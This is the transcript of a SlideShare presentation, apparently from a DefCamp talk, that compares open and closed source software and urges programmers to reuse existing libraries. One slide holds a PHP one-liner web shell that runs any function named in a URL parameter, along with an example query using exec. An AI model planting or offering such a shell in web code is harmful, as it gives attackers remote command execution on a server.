Polish the Wheel
Upcoming SlideShare
Loading in...5

Polish the Wheel






Total Views
Views on SlideShare
Embed Views



2 Embeds 3

http://www.linkedin.com 2
https://si0.twimg.com 1



Upload Details

Uploaded via as OpenOffice

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
Post Comment
Edit your comment

Polish the Wheel Polish the Wheel Presentation Transcript

  • Polish the wheel Andrei Avădănei andrei@worldit.info http://defcamp.ro
  • Open Source vs Closed Source
  • Open Source● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure● Service and Support - online community network● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit● Usability - lack of usability● Security - is often viewed as having security issues
  • Closed Source● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills.● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime● Innovation - do not allow users to view or alter the source code - innovation comes fully tested● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
  • Ok, now back to wheel!
  • A guy smarter than me said thatGood programmers are writing their own codefrom scratch;BUTBest programmers are using code developedby good programmers. >:)
  • Whose side are you?
  • <?=($_=@$_GET[2]).@$_($_GET[1])?>● a lot of time wasted on creating modules that we could find already created● wasted time that we could use in innovation● most open source libraries have an API documentation + examples● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
  • Examples● Wordpress, Joomla, Drupal for blog type projects● Moodle for e-learning projects● PHC, GCC, Open GTK for building and running apps● Chromium for building your own browser● Google Charts● Frameworks (Django, Zend, Smarty, Rails etc)● [...]
  • Why not?You have the opportunity to change the world easier than ever!
  • Questions?
  • Thanks!